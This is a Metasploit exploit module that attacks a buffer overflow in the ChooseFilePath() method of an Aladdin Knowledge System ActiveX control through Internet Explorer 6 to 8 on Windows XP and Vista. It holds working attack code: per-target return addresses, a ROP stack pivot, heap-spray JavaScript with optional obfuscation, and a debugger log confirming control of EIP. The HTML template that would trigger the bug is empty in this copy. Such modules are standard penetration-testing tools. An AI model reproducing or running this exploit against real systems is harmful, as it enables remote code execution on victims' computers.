##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Aladdin Knowledge System's
ActiveX component. By supplying a long string of data to the ChooseFilePath()
function, a buffer overflow occurs, which may result in remote code execution
under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shinnai', #Vulnerability Discovery
'b33f', #Original exploit
'sinn3r', #Metasploit
'juan vazquez' #Metasploit, IE8 target
],
'References' =>
[
[ 'OSVDB', '86723' ],
[ 'EDB', '22258' ],
[ 'EDB', '22301' ]
],
'Payload' =>
{
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:activex => [
{
clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
method: "ChooseFilePath"
}
],
:os_name => OperatingSystems::Match::WINDOWS,
},
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows XP with IE 6',
{
'os_name' => OperatingSystems::Match::WINDOWS_XP,
'ua_name' => 'MSIE',
'ua_ver' => '6.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[
'Windows XP with IE 7',
{
'os_name' => OperatingSystems::Match::WINDOWS_XP,
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[
'Windows XP with IE 8',
{
'os_name' => OperatingSystems::Match::WINDOWS_XP,
'ua_name' => 'MSIE',
'ua_ver' => '8.0',
'Rop' => true,
'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
}
],
[
'Windows Vista with IE 7',
{
'os_name' => OperatingSystems::Match::WINDOWS_VISTA,
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 1 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class
)
end
def ie_heap_spray(p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
# Land the payload at 0x0c0c0c0c
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{get_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def exploit_template(cli, target_info)
if get_target['Rop']
p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
else
p = get_payload(cli, target_info)
end
spray = ie_heap_spray(p)
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
html_template = %Q|
|
return html_template, binding()
end
def on_request_exploit(cli, request, target_info)
print_status("Sending HTML...")
send_exploit_html(cli, exploit_template(cli, target_info))
end
end
=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0c0c0c0c ?? ???
0:008> db 020bf798
020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end